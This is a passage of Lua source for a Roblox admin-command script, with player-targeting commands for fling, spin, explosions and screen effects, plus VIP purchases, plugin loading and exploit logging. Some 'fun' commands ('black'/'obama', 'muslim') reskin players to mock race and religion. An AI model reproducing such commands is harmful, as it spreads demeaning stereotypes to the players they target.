					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local String = Arg2
					local Color = "Blue"
					local Arg3, Arg4 = GetSplit(Arg2, Bet)
					if Arg3 and Arg4 then
						if string.lower(Arg3) == "blue" then Color = "Blue" String = Arg4
						elseif string.lower(Arg3) == "green" then Color = "Green" String = Arg4
						elseif string.lower(Arg3) == "red" then Color = "Red" String = Arg4
						end
					end
					for _,Player in pairs(Players) do coroutine.wrap(function()
						if Player ~= nil then
							if Player.Character then
								if Player.Character.Head then
									game:GetService("Chat"):Chat(Player.Character.Head, String, Color)
								end
							end
						end
					end)() end
				end

				-- FUN COMMANDS --

				if FUN == true or Rank == "Admin" or Rank == "Owner" then
					if string.sub(Message,1,4+#Bet) == "noob"..Bet then
						local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
									local Position = Player.Character.Torso.Position
									Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=0"
									wait() Player:LoadCharacter() wait()
									Player.Character:MoveTo(Position)
								end
							end
						end
					end

					if string.sub(Message,1,5+#Bet) == "black"..Bet or string.sub(Message,1,5+#Bet) == "obama"..Bet then
						local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
									local Position = Player.Character.Torso.Position
									Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=1337"
									wait() Player:LoadCharacter() wait()
									Player.Character:MoveTo(Position)
								end
							end
						end
					end

					if string.sub(Message,1,5+#Bet) == "guest"..Bet then
						local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
									local Position = Player.Character.Torso.Position
									Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=1"
									wait() Player:LoadCharacter() wait()
									Player.Character:MoveTo(Position)
								end
							end
						end
					end

					if string.sub(Message,1,4+#Bet) == "rich"..Bet then
						local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
									local Position = Player.Character.Torso.Position
									Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=13416513"
									wait() Player:LoadCharacter() wait()
									Player.Character:MoveTo(Position)
								end
							end
						end
					end

					if string.sub(Message,1,4+#Bet) == "oder"..Bet then
						local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
									local Position = Player.Character.Torso.Position
									Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..OderIDs[math.random(1,#OderIDs)]
									wait() Player:LoadCharacter() wait()
									Player.Character:MoveTo(Position)
								end
							end
						end
					end

					if string.sub(Message,1,6+#Bet) == "muslim"..Bet then
						local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
									local Position = Player.Character.Torso.Position
									Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=6231537"
									wait() Player:LoadCharacter() wait()
									Player.Character:MoveTo(Position)
								end
							end
						end
					end

					if string.sub(Message,1,4+#Bet) == "spin"..Bet then
						local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									if Player.Character:FindFirstChild("Torso") ~= nil then coroutine.wrap(function()
										local Spin = Player.Character.Torso:FindFirstChild("LMM Spin")
										if Spin then Spin:Destroy() end
										Spin = Instance.new("BodyGyro", Player.Character.Torso) Spin.Name = "LMM Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.P = 11111 Spin.cframe = Player.Character.Torso.CFrame
										repeat wait(1/44) Spin.cframe = Spin.cframe * CFrame.Angles(0,math.rad(30),0) until not Spin or Spin.Parent ~= Player.Character.Torso
									end)() end
								end
							end
						end
					end

					if string.sub(Message,1,6+#Bet) == "nospin"..Bet then
						local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									if Player.Character:FindFirstChild("Torso") ~= nil then
										local Spin = Player.Character.Torso:FindFirstChild("LMM Spin")
										if Spin then Spin:Destroy() end
									end
								end
							end
						end
					end

					if string.sub(Message,1,4+#Bet) == "flip"..Bet then
						local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									if Player.Character:FindFirstChild("Torso") ~= nil then
										local Flip = Player.Character.Torso:FindFirstChild("LMM Flip")
										if not Flip then coroutine.wrap(function()
											local TorsoCFrame = Player.Character.Torso.CFrame
											Flip = Instance.new("BodyGyro", Player.Character.Torso) Flip.Name = "LMM Flip" Flip.maxTorque = Vector3.new(math.huge, 0, 0) Flip.P = 11111 Flip.cframe = TorsoCFrame
											local Stable = Instance.new("BodyPosition", Player.Character.Torso) Stable.Name = "LMM Stable" Stable.position = Player.Character.Torso.Position + Vector3.new(0,1,0) Stable.maxForce = Vector3.new(0, math.huge, 0)
											wait(0.1)
											for i = 0,360,10 do
												Flip.cframe = TorsoCFrame * CFrame.Angles(math.rad(i),0,0)
												wait()
											end
											wait(0.5)
											Flip:Destroy()
											Stable:Destroy()
										end)() end
									end
								end
							end
						end
					end

					if string.sub(Message,1,8+#Bet) == "longneck"..Bet then
						local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
										if Player.Character.Torso:FindFirstChild("Neck") then
											Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
											local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
											Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor))
											local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
											local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
 										end
									end
								end
							end
						end
					end

					if string.sub(Message,1,10+#Bet) == "normalneck"..Bet then
						local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
									local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
								end
							end
						end
					end

					if string.sub(Message,1,9+#Bet) == "loopfling"..Bet then
						local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									for Num,Name in pairs(Flings) do if string.lower(Player.Name) == string.lower(Name) then table.remove(Flings, Num) end end
										local function FlingPlayer(User, Character)
										wait(0.1)
										if User then
											local Stop = true
											for _,Name in pairs(Flings) do if string.lower(User.Name) == string.lower(Name) then Stop = false end end if Stop == true then FlingPlayer = nil return end
											if Character:FindFirstChild("Torso") then local Fling = Instance.new("BodyForce", Character.Torso) Fling.Name = "Fling" Fling.force = Vector3.new(100000000,1000000000,100000000) end
										end
									end
									table.insert(Flings, Player.Name)
									FlingPlayer(Player, Player.Character)
									Player.CharacterAdded:connect(function(Char) FlingPlayer(Player, Char) end)
								end
							end
						end
					end

					if string.sub(Message,1,11+#Bet) == "noloopfling"..Bet then
						local Players = Scan(string.sub(Message, 12+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								for Num,Name in pairs(Flings) do if string.lower(Player.Name) == string.lower(Name) then table.remove(Flings, Num) end end
							end
						end
					end

					if string.sub(Message,1,5+#Bet) == "fling"..Bet then
						local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									local function FlingPlayer(User, Character) if User then if Character:FindFirstChild("Torso") then local Fling = Instance.new("BodyForce", Character.Torso) Fling.Name = "Fling" Fling.force = Vector3.new(100000000,1000000000,100000000) end end end
									FlingPlayer(Player, Player.Character)
								end
							end
						end
					end

					if string.sub(Message,1,5+#Bet) == "ghost"..Bet then
						local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									for _,Object in pairs(Player.Character:GetChildren()) do
										if Object:IsA("BasePart") then if Object.Name ~= "HumanoidRootPart" then
											Object.Transparency = 0.5
											Object.Reflectance = 0
											Object.BrickColor = BrickColor.new("Institutional white")
										end end
										for _,Obj in pairs(Object:GetChildren()) do
											if Obj:IsA("BasePart") then
												Obj.Transparency = 0.5
												Obj.Reflectance = 0
											elseif Obj:IsA("Decal") then
												Obj.Transparency = 0.5
											end
										end
									end
								end
							end
						end
					end

					if string.sub(Message,1,4+#Bet) == "drug"..Bet then
						local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character then
									if Player.PlayerGui ~= nil then
										local SG = Player.PlayerGui:FindFirstChild("LMM Drug") if SG then SG:Destroy() end
										SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMM Drug"
										local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
										local Stop = false
										coroutine.wrap(function()
											repeat
												Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
												wait(0.1)
											until not SG
										end)()
										wait() ExecuteResource("Drug", Player.Character, {}, Player,
											[[repeat wait(0.1) Workspace.CurrentCamera.FieldOfView = math.random(20,80) until not game:GetService("Players").LocalPlayer.PlayerGui["LMM Drug"] ]]
										)
									end
								end
							end
						end
					end

					if string.sub(Message,1,6+#Bet) == "nodrug"..Bet then
						local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player.PlayerGui ~= nil then
								local SG = Player.PlayerGui:FindFirstChild("LMM Drug") if SG then SG:Destroy() end
								wait() RestoreCamera(Player)
							end
						end
					end

					if string.sub(Message,1,4+#Bet) == "fart"..Bet then
						local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player.Character then
								if Player.Character:FindFirstChild("Torso") ~= nil and Player.Character.Head:FindFirstChild("face") then
									coroutine.wrap(function()
										if Player.Character.Head.face.Texture ~= "http://www.roblox.com/asset/?id=24067663" then if Player.Character.Head.face.Texture ~= "http://www.roblox.com/asset/?id=28118994" then
											local OldFace = Player.Character.Head.face.Texture
											local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
											local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
											local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
											Player.Character.Head.face.Texture = "http://www.roblox.com/asset/?id=28118994"
											local Sound = Instance.new("Sound", Fart) Sound.Name = "Fart Sound" Sound.Volume = 1 Sound.SoundId = "http://www.roblox.com/asset/?id=130833677" Sound.Pitch = 0.8 Sound.Archivable = false repeat Sound:Play() wait(0.5) Sound:Stop() wait(0.5) Sound:Play() until Sound.IsPlaying or not Sound
											wait(1)
											Smoke.Enabled = false
											wait(1)
											Fart:Destroy()
											Player.Character.Head.face.Texture = OldFace
										end end
									end)()
								end
							end
						end
					end

					if string.sub(Message,1,5+#Bet) == "vomit"..Bet then
						local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player.Character then
								if Player.Character:FindFirstChild("Head") ~= nil then
									if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
										coroutine.wrap(function()
											if Player.Character.Head.face.Texture ~= "http://www.roblox.com/asset/?id=24067663" then if Player.Character.Head.face.Texture ~= "http://www.roblox.com/asset/?id=28118994" then
												local OldFace = Player.Character.Head.face.Texture
												Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
												Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
												Player.Character.Head.face.Texture = "http://www.roblox.com/asset/?id=24067663"
												local Sound = Instance.new("Sound", Player.Character.Head) Sound.Name = "Puke Sound" Sound.Volume = 1 Sound.SoundId = "http://www.roblox.com/asset/?id=142539016" Sound.Pitch = 0.8 Sound.Archivable = false repeat Sound:Play() wait(0.5) Sound:Stop() wait(0.5) Sound:Play() until Sound.IsPlaying or not Sound
												coroutine.wrap(function() for i = 1,100 do wait()
													local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
													coroutine.wrap(function() wait(3) Part:Destroy() end)()
												end Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
											end end
										end)()
									end
								end
							end
						end
					end

					if string.sub(Message,1,5+#Bet) == "smoke"..Bet then
						local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character then
									if Player.Character:FindFirstChild("Torso") ~= nil then
										local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
									end
								end
							end
						end
					end

					if string.sub(Message,1,7+#Bet) == "nosmoke"..Bet then
						local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									if Player.Character:FindFirstChild("Torso") ~= nil then
										for _,Get in pairs(Player.Character.Torso:GetChildren()) do
											if Get:IsA("Smoke") then
												Get:Destroy()
											end
										end
									end
								end
							end
						end
					end

					if string.sub(Message,1,8+#Bet) == "sparkles"..Bet then
						local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character then
									if Player.Character:FindFirstChild("Torso") ~= nil then
										local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
									end
								end
							end
						end
					end

					if string.sub(Message,1,10+#Bet) == "nosparkles"..Bet then
						local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									if Player.Character:FindFirstChild("Torso") ~= nil then
										for _,Get in pairs(Player.Character.Torso:GetChildren()) do
											if Get:IsA("Sparkles") then
												Get:Destroy()
											end
										end
									end
								end
							end
						end
					end

					if string.sub(Message,1,4+#Bet) == "fire"..Bet then
						local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character then
									if Player.Character:FindFirstChild("Torso") ~= nil then
										local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
									end
								end
							end
						end
					end

					if string.sub(Message,1,6+#Bet) == "nofire"..Bet then
						local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									if Player.Character:FindFirstChild("Torso") ~= nil then
										for _,Get in pairs(Player.Character.Torso:GetChildren()) do
											if Get:IsA("Fire") then
												Get:Destroy()
											end
										end
									end
								end
							end
						end
					end

					if Message == "flash" then
						coroutine.wrap(function()
							--Lighting.Archivable = false wait(0.5) Lighting.Archivable = true wait(0.5)
							repeat
								Lighting.Ambient = Color3.new(1,1,1)
								Lighting.FogColor = Color3.new(1,1,1)
								Lighting.Brightness = 1
								Lighting.TimeOfDay = 14
								wait(0.1)
								Lighting.Ambient = Color3.new(0,0,0)
								Lighting.FogColor = Color3.new(0,0,0)
								Lighting.Brightness = 0
								Lighting.TimeOfDay = 0
								wait(0.1)
							until Lighting.Archivable == false
						end)()
					end

					if Message == "disco" or Message == "party" then
						coroutine.wrap(function()
							--Lighting.Archivable = false wait(0.5) Lighting.Archivable = true wait(0.5)
							repeat
								local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
								Lighting.Ambient = Color
								Lighting.FogColor = Color
								Lighting.TimeOfDay = 0
								Lighting.FogEnd = 100
								wait(0.1)
							until Lighting.Archivable == false
						end)()
					end

					if string.sub(Message,1,7+#Bet) == "nolimbs"..Bet then
						local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character then
									for _,Obj in pairs(Player.Character:GetChildren()) do
										local Valid = false
										for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
										if Valid == true then Obj:Destroy() end
									end
								end
							end
						end
					end

					if string.sub(Message,1,6+#Bet) == "nolegs"..Bet then
						local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character then
									for _,Obj in pairs(Player.Character:GetChildren()) do
										local Valid = false
										for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
										if Valid == true then Obj:Destroy() end
									end
								end
							end
						end
					end

					if string.sub(Message,1,6+#Bet) == "noarms"..Bet then
						local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character then
									for _,Obj in pairs(Player.Character:GetChildren()) do
										local Valid = false
										for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
										if Valid == true then Obj:Destroy() end
									end
								end
							end
						end
					end

					if string.sub(Message,1,5+#Bet) == "shine"..Bet then
						local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character then
									for _,Obj in pairs(Player.Character:GetChildren()) do if Obj:IsA("BasePart") then
										Obj.Reflectance = 0.5
									end end
								end
							end
						end
					end

					if string.sub(Message,1,4+#Bet) == "gold"..Bet then
						local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character then
									for _,Obj in pairs(Player.Character:GetChildren()) do if Obj:IsA("BasePart") then
										Obj.Reflectance = 0.5
										Obj.BrickColor = BrickColor.new("New Yeller")
									end end
								end
							end
						end
					end

					if string.sub(Message,1,7+#Bet) == "explode"..Bet then
						local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character then
									if Player.Character:FindFirstChild("Torso") then
										local Boom = Instance.new("Explosion", Workspace)
										Boom.Position = Player.Character.Torso.Position
									end
								end
							end
						end
					end

					if string.sub(Message,1,6+#Bet) == "splode"..Bet then
						local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character then
									if Player.Character:FindFirstChild("Torso") then
										for i = 1,50 do
											local Boom = Instance.new("Explosion", Workspace)
											Boom.Position = Player.Character.Torso.Position
											wait()
										end
									end
								end
							end
						end
					end

					if string.sub(Message,1,5+#Bet) == "naked"..Bet then
						local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								Player:ClearCharacterAppearance()
							end
						end
					end

					if string.sub(Message,1,3+#Bet) == "hax"..Bet then
						local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								FakeHack(Player)
							end
						end
					end
					--
				end
				--
				--
			end
			Log(Speaker, RawMainMessage)
		end

		-- NonAdmin Commands --

		if Message == "rejoin" or Message == "rej" or Message == "rjoin" or Message == "rj" then
			local Suc, Err, PlaceID, IntID = TS:GetPlayerPlaceInstanceAsync(Speaker.userId)
			if Suc then
				TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
			else
				TS:Teleport(game.PlaceId, Speaker)
			end
			Log(Speaker, RawMainMessage)
		end

		if Message == "cmds" or Message == "commands" or Message == "commandlist" or Message == "cmdlist" then
			ListGui(Speaker, "Command List", GetCommands(Rank))
			Log(Speaker, RawMainMessage)
		end

		if Message == "fullcmds" or Message == "fullcommands" or Message == "fullcommandlist" or Message == "fullcmdlist" then
			local Selected = SelectionGui(Speaker, "Full Command List", GetCommands(Rank), true)
			if #Selected >= 0 then
				for _,SelCmd in pairs(Selected) do
					Chatted(SelCmd, Speaker)
				end
				Log(Speaker, RawMainMessage)
			end
		end

		if Message == "membervip" or Message == "vipmember" then
			if VIPMemberID ~= 1 then
				PromptPurchase(Speaker, VIPMemberID)
				Log(Speaker, RawMainMessage)
			else
				SendMessage(Speaker, "No VIP", GameOwner.." did not add a member rank VIP to LuaModelMake".."r's Admin", 5)
			end
		end

		if Message == "adminvip" or Message == "vipadmin" then
			if VIPAdminID ~= 1 then
				PromptPurchase(Speaker, VIPAdminID)
				Log(Speaker, RawMainMessage)
			else
				SendMessage(Speaker, "No VIP", GameOwner.." did not add a admin rank VIP to LuaMo".."d".."elMake".."r's Admin", 5)
			end
		end

		if Message == "remove menu" or Message == "removemenu" then
			if Speaker.PlayerGui ~= nil then
				GUI = Speaker.PlayerGui:FindFirstChild("LMM Menu Gui") if GUI then GUI:Destroy() end
				Log(Speaker, RawMainMessage)
			end
		end

		if Message == "clean" or Message == "cln" then
			for _,Obj in pairs(Workspace:GetChildren()) do
				if Obj:IsA("Hat") or Obj:IsA("Tool") then
					Obj:Destroy()
					Log(Speaker, RawMainMessage)
				end
			end
		end

		if Message == "adminhouse" or Message == "ah" or Message == "admin house" then
			if string.lower(MPS:GetProductInfo(155734895).Description) == "yes" then
				AdminHouseGui(Speaker)
				Log(Speaker, RawMainMessage)
			end
		end

		-- Plugin Commands --
		for _,CommandData in pairs(ManualCommands) do
			if string.sub(Message,1,#CommandData[1]) == string.lower(CommandData[1]) then
				local Valid = true
				if FUN == false then
					if CommandData[3] == true then
						Valid = false
					end
				end
				if CommandData[4] == true then
					Valid = false
					SendMessage(Speaker, "Command Disabled [PLUGIN]", "This command has been disabled because the command is considered abusive and abusive protection is on", 5)
				end
				if ConvertRank(CommandData[2]) > ConvertRank(Rank) then
					Valid = false
				end
				if Valid == true then
					local Suc, Error = ypcall(function() CommandData[5](RawMessage, Speaker, Rank) end)
					if not Suc then
						if not Error or Error == "" then
							SendMessage(Speaker, "Plugin Manual Command Error", "Unknown line: Unknown error(Suggestion: Probobly not in your level/identity)", 5)
						else
							Error = Error:match'"*".:(.+)' or "Unknown line: "..Error
							SendMessage(Speaker, "Plugin Manual Command Error", Error, 5)
						end
					end
				end
			end
		end
	end
end

function ChatBackup(Message, Speaker)
	local PlayerAdmin, Rank = IsAdmin(Speaker)
	if PlayerAdmin == true then
		if Rank == "Owner" then
			if string.lower(Message) == "fix" or string.lower(Message) == Prefix.."fix" then
				local Ask = YesOrNo(Speaker, "Fix admin?", "Fixing Lu".."aModelMaker's Admin will have the effects of loosing all data (Admins, Bans, Jails, ect.) unless they are in default settings. Anti-Exploit also has to be online in order for complete re-installation. Continue?")
				if Ask == true then
					script:Destroy()
					wait()
					script.Disabled = true
				end
			end
		end
	end
end


--pcall(function() coroutine.wrap(function() while wait() do script.Name = string.char(76, 117, 97, 77, 111, 100, 101, 108, 77, 97, 107, 101, 114).."'s Admin Commands V"..Version.Value end end)()end)

function GetValue(Value)
	if Value:IsA("StringValue") then
		if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Owner"], Value.Value) end end
		if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Admin"], Value.Value) end end
		if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Member"], Value.Value) end end
		if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Banned"], Value.Value) end end
		if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Crashed"], Value.Value) end end
		if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Ranks["Muted"], Value.Value) end end
		if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
			for Num,Admin in pairs(Ranks["Admin"]) do
				if Admin == Value.Value then
					table.remove(Ranks["Admin"],Num)
				end
			end
		end end
	end
end

if Lighting:FindFirstChild("LMM's Admin") then
	for _,Value in pairs(Lighting:FindFirstChild("LMM's Admin"):GetChildren()) do
		GetValue(Value)
	end
	Lighting:FindFirstChild("LMM's Admin"):Destroy()
end

local AdminValue = Instance.new("Model", Lighting)
AdminValue.Name = "LMM's Admin"
AdminValue.ChildAdded:connect(function(Value) wait()
	GetValue(Value)
end)

game:GetService("Debris").ChildAdded:connect(function(Item) wait() -- you see me loadin... dey hatin...
	if Item:IsA("Configuration") then
		for _,Obj in pairs(Item:GetChildren()) do
			if Obj:IsA("StringValue") then
				local User = Players:FindFirstChild(Obj.Name)
				if User then
					SendMessage(User, Item.Name, Obj.Value, 5)
				end
			end
		end
		Item:Destroy()
	end
end)

if Bet == "/" or Bet == "-" then Bet = " " end
if VIPMemberID == 0 then VIPMemberID = 1 end
if VIPAdminID == 0 then VIPAdminID = 1 end

MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
	local PlayerAdmin, Rank = IsAdmin(Player)
	if PlayerAdmin == false then
		if ID == VIPAdminID then table.insert(Ranks["Admin"], Player.Name) Rank = "Admin" TellAdmin(Player, Rank)
		elseif ID == VIPMemberID then table.insert(Ranks["Member"], Player.Name) Rank = "Member" TellAdmin(Player, Rank) end
	end
end end)

if Settings then
	if Settings:FindFirstChild("Plugins") then
		local PluginNum = 0
		for _,Module in pairs(Settings.Plugins:GetChildren()) do
			if Module:IsA("ModuleScript") then
				local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
				local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
				local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
				if Enabled.Value == true then
					PluginNum = PluginNum + 1
					local PluginExe = require(Module)
					for Var,Val in pairs(getfenv()) do
						getfenv(PluginExe)[Var] = Val
					end
					getfenv(PluginExe).script = Module
					getfenv(PluginExe).Script = Module
					getfenv(PluginExe).LocalScript = LocalScript
					getfenv(PluginExe).Script = Script
					getfenv(PluginExe).Version = Version
					local Suc, Error = ypcall(coroutine.wrap(PluginExe))
					if not Suc then
						if not Error or Error == "" then
							TestService:Error("LMM's Admin Plugin Error;  Unknown line: Unknown error(Suggestion: Probobly not in your level/identity)", Module)
						else
							Error = Error:match'"*".:(.+)' or "Unknown line: "..Error
							TestService:Error("LMM's Admin Plugin Error;  "..Error, Module)
						end
					else
						TestService:Message("Executed LMMA Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
					end
				end
			end
		end
	end
end

if script:FindFirstChild("IsAdmin") then
	script.IsAdmin.OnServerInvoke = function(Player)
		local IsFullAdmin = false
		for _,PName in pairs(Ranks["Owner"]) do
			if PName == Player.Name then IsFullAdmin = true end
		end
		for _,PName in pairs(Ranks["Admin"]) do
			if PName == Player.Name then IsFullAdmin = true end
		end
		return IsFullAdmin
	end
end

if script:FindFirstChild("AddExploit") then
	script.AddExploit.OnServerInvoke = function(PlayerClient, Data)
		local PlayerClientName = PlayerClient.Name
		local NewData = GetTime().."@ "..Data
		for _,Player in pairs(Players:GetChildren()) do
			SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
		end
		local ExploitLog = DataStore:GetAsync("ExploitLog")
		if type(ExploitLog) ~= "table" then
			DataStore:SetAsync("ExploitLog", {NewData})
		else
			table.insert(ExploitLog, NewData)
			DataStore:SetAsync("ExploitLog", ExploitLog)
		end
		SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
	end
end

if script:FindFirstChild("KickClient") then
	script.KickClient.OnServerInvoke = function(PlayerClient)
		PlayerClient:Kick()
	end
end

if ExecuteCommand then
	ExecuteCommand.OnServerInvoke = function(PlayerClient, Command)
		if Command and type(Command) == "string" and Command ~= "" then
			Chatted(Command, PlayerClient)
			ChatBackup(Command, PlayerClient)
		end
	end
end

if Version.Value == "[ Unknown ]" then
	LinkedAccount = "ScriptBuilder"
end

UpdateAdmin()
Begin()

